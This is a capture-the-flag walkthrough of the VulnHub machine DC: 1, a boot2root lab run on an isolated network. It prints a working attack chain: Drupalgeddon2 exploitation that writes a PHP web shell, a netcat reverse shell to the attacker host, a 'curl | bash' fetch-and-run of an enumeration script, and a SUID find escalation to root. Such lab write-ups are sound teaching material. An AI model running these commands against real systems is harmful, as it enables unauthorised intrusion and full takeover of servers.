Name : DC: 1 Difficulty : Beginner Type : boot2root Source : VulnHub URL : https://www.vulnhub.com/entry/dc-1-1,292/ Entry : 2 / 30

Welcome to the walkthrough for DC: 1, a boot2root CTF found on VulnHub. This is the second VM in my VulnHub Challenge! This is a beginner machine, but one that also hosts a popular CMS application. It was fun using some new tools and while not particularly difficult, it was still a lot of fun. Let’s get into it.

Goal

There is a single flag in the /root directory that we need to read, so a fairly straightforward challenge.

Setup

I’m using VMWare Workstation Player to host Kali and the DC: 1 OVA image, with both VMs running in a NAT network to keep them separate from the rest of my environment.

Discovery

I use netdiscover to search for the IP address of the DC: 1 VM:

root@dante:~# netdiscover -r 192.168.111.0/24 Currently scanning: Finished! | Screen View: Unique Hosts 5 Captured ARP Req/Rep packets, from 4 hosts. Total size: 300 _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor / Hostname ----------------------------------------------------------------------------- 192.168.111.1 00:50:56:c0:00:08 1 60 VMware, Inc. 192.168.111.2 00:50:56:f8:98:a5 2 120 VMware, Inc. 192.168.111.141 00:0c:29:5c:f9:bd 1 60 VMware, Inc. 192.168.111.254 00:50:56:f9:83:ca 1 60 VMware, Inc.

Looks like 192.168.111.141 is my target IP. Let’s move on and scan the system.

Scanning

I run a quick nmap scan using default scripts ( -sC ) and look for software versions as well ( -sV ):

root@dante:~# nmap -sC -sV 192.168.111.141 Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-22 20:20 EDT Nmap scan report for 192.168.111.141 Host is up (0.00013s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0) | ssh-hostkey: | 1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA) | 2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA) |_ 256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA) 80/tcp open http Apache httpd 2.2.22 ((Debian)) |_http-generator: Drupal 7 (http://drupal.org) | http-robots.txt: 36 disallowed entries (15 shown) | /includes/ /misc/ /modules/ /profiles/ /scripts/ | /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt | /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt |_/LICENSE.txt /MAINTAINERS.txt |_http-server-header: Apache/2.2.22 (Debian) |_http-title: Welcome to Drupal Site | Drupal Site 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100024 1 32881/tcp status |_ 100024 1 50280/udp status MAC Address: 00:0C:29:5C:F9:BD (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.19 seconds

The main things jumping out at me are SSH and HTTP. Let’s try browsing to the website and see what’s up.

Ah, it’s a default Drupal site. Let’s see if we can find the version by looking for a CHANGELOG.txt file, since that’s the standard, non-administrator way of checking for the Drupal version.

root@dante:~# curl http://192.168.111.141/CHANGELOG.txt <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/CHANGELOG.txt" was not found on this server.</p></body></html>

No luck! Let me check if there’s a robots.txt file available, and see if there’s anything in that which may help identify the version.

root@dante:~# curl http://192.168.111.141/robots.txt # # robots.txt # # This file is to prevent the crawling and indexing of certain parts # of your site by web crawlers and spiders run by sites like Yahoo! # and Google. By telling these "robots" where not to go on your site, # you save bandwidth and server resources. # # This file will be ignored unless it is at the root of your host: # Used: http://example.com/robots.txt # Ignored: http://example.com/site/robots.txt # # For more information about the robots.txt standard, see: # http://www.robotstxt.org/wc/robots.html # # For syntax checking, see: # http://www.sxw.org.uk/computing/robots/check.html User-agent: * Crawl-delay: 10 # Directories Disallow: /includes/ Disallow: /misc/ Disallow: /modules/ Disallow: /profiles/ Disallow: /scripts/ Disallow: /themes/ # Files Disallow: /CHANGELOG.txt Disallow: /cron.php Disallow: /INSTALL.mysql.txt Disallow: /INSTALL.pgsql.txt Disallow: /INSTALL.sqlite.txt Disallow: /install.php Disallow: /INSTALL.txt Disallow: /LICENSE.txt Disallow: /MAINTAINERS.txt Disallow: /update.php Disallow: /UPGRADE.txt Disallow: /xmlrpc.php # Paths (clean URLs) Disallow: /admin/ Disallow: /comment/reply/ Disallow: /filter/tips/ Disallow: /node/add/ Disallow: /search/ Disallow: /user/register/ Disallow: /user/password/ Disallow: /user/login/ Disallow: /user/logout/ # Paths (no clean URLs) Disallow: /?q=admin/ Disallow: /?q=comment/reply/ Disallow: /?q=filter/tips/ Disallow: /?q=node/add/ Disallow: /?q=search/ Disallow: /?q=user/password/ Disallow: /?q=user/register/ Disallow: /?q=user/login/ Disallow: /?q=user/logout/

Seems there is an UPGRADE.txt file. Let’s see what it says.

root@dante:~# curl http://192.168.111.141/UPGRADE.txt INTRODUCTION ------------ This document describes how to: * Update your Drupal site from one minor 7.x version to another minor 7.x version; for example, from 7.8 to 7.9, or from 7.6 to 7.10. * Upgrade your Drupal site's major version from 6.x to 7.x. First steps and definitions: * If you are upgrading to Drupal version x.y, then x is known as the major version number, and y is known as the minor version number. The download file will be named drupal-x.y.tar.gz (or drupal-x.y.zip). * All directories mentioned in this document are relative to the directory of your Drupal installation. * Make a full backup of all files, directories, and your database(s) before starting, and save it outside your Drupal installation directory. Instructions may be found at http://drupal.org/upgrade/backing-up-the-db * It is wise to try an update or upgrade on a test copy of your site before applying it to your live site. Even minor updates can cause your site's behavior to change. * Each new release of Drupal has release notes, which explain the changes made since the previous version and any special instructions needed to update or upgrade to the new version. You can find a link to the release notes for the version you are upgrading or updating to on the Drupal project page (http://drupal.org/project/drupal). ... <snip>

Looks like it makes mention of upgrading to Drupal 7.x. Great! This site may be vulnerable to the Drupalgeddon attack, so we’ll give that a shot.

Exploitation

Drupalgeddon

I found the Drupalgeddon2 project on GitHub which looked promising. After cloning it locally, I had to install ruby-highline (i.e. apt install ruby-highline ) before I could run it successfully. However, once I did it was smooth sailing!

root@dante:/opt/Drupalgeddon2# ./drupalgeddon2.rb http://192.168.111.141 [*] --==[::#Drupalggedon2::]==-- -------------------------------------------------------------------------------- [i] Target : http://192.168.111.141/ -------------------------------------------------------------------------------- [!] MISSING: http://192.168.111.141/CHANGELOG.txt (HTTP Response: 404) [!] MISSING: http://192.168.111.141/core/CHANGELOG.txt (HTTP Response: 404) [+] Found : http://192.168.111.141/includes/bootstrap.inc (HTTP Response: 403) [!] MISSING: http://192.168.111.141/core/includes/bootstrap.inc (HTTP Response: 404) [+] Found : http://192.168.111.141/includes/database.inc (HTTP Response: 403) [+] URL : v7.x/6.x? [+] Found : http://192.168.111.141/ (HTTP Response: 200) [+] Metatag: v7.x/6.x [Generator] [!] MISSING: http://192.168.111.141/ (HTTP Response: 200) [+] Drupal?: v7.x/6.x -------------------------------------------------------------------------------- [*] Testing: Form (user/password) [+] Result : Form valid - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - [*] Testing: Clean URLs [+] Result : Clean URLs enabled -------------------------------------------------------------------------------- [*] Testing: Code Execution (Method: name) [i] Payload: echo QCGSKAJF [+] Result : QCGSKAJF [+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO! -------------------------------------------------------------------------------- [*] Testing: Existing file (http://192.168.111.141/shell.php) [i] Response: HTTP 404 // Size: 13 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - [*] Testing: Writing To Web Root (./) [i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYydd IC4gJyAyPiYxJyApOyB9 | base64 -d | tee shell.php [+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); } [+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!! -------------------------------------------------------------------------------- [i] Fake PHP shell: curl 'http://192.168.111.141/shell.php' -d 'c=hostname' DC-1>>

Awesome! We landed a shell! Now just because I don’t like exploit-based shells, I’m going to use nc to create a nice reverse shell, assuming nc is available:

DC-1>> which nc /bin/nc DC-1>> DC-1>> nc 192.168.111.134 9001 -e /bin/sh

Yup, it’s there. I’ll start a nc listener on my Kali machine and then run nc 192.168.111.134 9001 -e /bin/sh via my Drupalgeddon shell on the target. This will get me a more stable shell than the one I created with Drupalgeddon, since it seems to drop on me after time. Once this new shell is established, I’ll “upgrade” it to a bash shell using Python.

root@dante:~# nc -nvlp 9001 Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Listening on :::9001 Ncat: Listening on 0.0.0.0:9001 Ncat: Connection from 192.168.111.141. Ncat: Connection from 192.168.111.141:42024. python -c "import pty;pty.spawn('/bin/bash');" www-data@DC-1:/var/www$ export TERM=screen export TERM=screen www-data@DC-1:/var/www$

I added the export TERM=screen command so that I can use commands like clear and get the results I’m expecting. You know, like actually clearing the screen.

LinEnum.sh

Now that I have a shell, I’ll use the LinEnum.sh to gather some data on what’s interesting in the environment.

Note: I’ve updated my LinEnum.sh script to force the thorough tests option to always run. For CTFs, I always want the extra output so by forcing it within the script I don’t have to worry about forgetting to set the flag. This makes John a happy man.

I’ll start by hosting the script on Kali using Python’s SimpleHTTPServer :

root@dante:/opt/LinEnum# python -m SimpleHTTPServer 80 Serving HTTP on 0.0.0.0 port 80 ...

Now I’ll check to see if either curl or wget are installed on the target system:

www-data@DC-1:/var/www$ which curl which curl /usr/bin/curl www-data@DC-1:/var/www$ which wget which wget /usr/bin/wget www-data@DC-1:/var/www$

Cool, we have both curl and wget available. I’ll go with curl to download the script, pipe it to bash , then review the results:

www-data@DC-1:/var/www$ curl http://192.168.111.134/LinEnum.sh | bash curl http://192.168.111.134/LinEnum.sh | bash % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 45662 100 45662 0 0 2731k 0 --:--:-- --:--:-- --:--:-- 2972k ######################################################### # Local Linux Enumeration & Privilege Escalation Script # ######################################################### # www.rebootuser.com # version 0.97 [-] Debug Info [+] Thorough tests = Enabled Scan started at: Tue Jul 23 06:38:13 AEST 2019 ### SYSTEM ############################################## [-] Kernel information: Linux DC-1 3.2.0-6-486 #1 Debian 3.2.102-1 i686 GNU/Linux [-] Kernel information (continued): Linux version 3.2.0-6-486 (debian-kernel@lists.debian.org) (gcc version 4.9.2 (Debian 4.9.2-10+deb 7u1) ) #1 Debian 3.2.102-1 [-] Specific release information: PRETTY_NAME="Debian GNU/Linux 7 (wheezy)" NAME="Debian GNU/Linux" VERSION_ID="7" VERSION="7 (wheezy)" ID=debian ANSI_COLOR="1;31" HOME_URL="http://www.debian.org/" ... <snip> ... [-] SUID files: -rwsr-xr-x 1 root root 88744 Dec 10 2012 /bin/mount -rwsr-xr-x 1 root root 31104 Apr 13 2011 /bin/ping -rwsr-xr-x 1 root root 35200 Feb 27 2017 /bin/su -rwsr-xr-x 1 root root 35252 Apr 13 2011 /bin/ping6 -rwsr-xr-x 1 root root 67704 Dec 10 2012 /bin/umount -rwsr-sr-x 1 daemon daemon 50652 Oct 4 2014 /usr/bin/at -rwsr-xr-x 1 root root 35892 Feb 27 2017 /usr/bin/chsh -rwsr-xr-x 1 root root 45396 Feb 27 2017 /usr/bin/passwd -rwsr-xr-x 1 root root 30880 Feb 27 2017 /usr/bin/newgrp -rwsr-xr-x 1 root root 44564 Feb 27 2017 /usr/bin/chfn -rwsr-xr-x 1 root root 66196 Feb 27 2017 /usr/bin/gpasswd -rwsr-sr-x 1 root mail 83912 Nov 18 2017 /usr/bin/procmail -rwsr-xr-x 1 root root 162424 Jan 6 2012 /usr/bin/find -rwsr-xr-x 1 root root 937564 Feb 11 2018 /usr/sbin/exim4 -rwsr-xr-x 1 root root 9660 Jun 20 2017 /usr/lib/pt_chown -rwsr-xr-x 1 root root 248036 Jan 27 2018 /usr/lib/openssh/ssh-keysign -rwsr-xr-x 1 root root 5412 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device -rwsr-xr-- 1 root messagebus 321692 Feb 10 2015 /usr/lib/dbus-1.0/dbus-daemon-launch-helper -rwsr-xr-x 1 root root 84532 May 22 2013 /sbin/mount.nfs [+] Possibly interesting SUID files: -rwsr-xr-x 1 root root 162424 Jan 6 2012 /usr/bin/find ... <snip>

Filtering through the output of LinEnum.sh , I generally look for a few key things:

What users are available? Do any of them have sudo privileges? Are there any SUID/SGID binaries? What files are accessible/writeable to my user that may be interesting?

Privilege Escalation

Going through the output of LinEnum.sh , I see that the find executable has the SUID bit set! That’s great news, since it means that I can use it for privilege escalation! According to GTFOBins, I can do some privilege escalation using this command:

www-data@DC-1:/var/www$ find /etc/passwd -exec /bin/sh \; find /etc/passwd -exec /bin/sh \; # whoami whoami root #

Note: I use the file /etc/passwd as my target because I know it exists, and I really just need a single file to be found in order to ensure the -exec /bin/sh \; command runs.

Now that I have a root shell, I go to the /root directory, look for my flag, and call it a success.

# cd /root cd /root # ls ls thefinalflag.txt # cat thefinalflag.txt cat thefinalflag.txt Well done!!!! Hopefully you've enjoyed this and learned some new skills. You can let me know what you thought of this little journey by contacting me via Twitter - @DCAU7 #

Fin.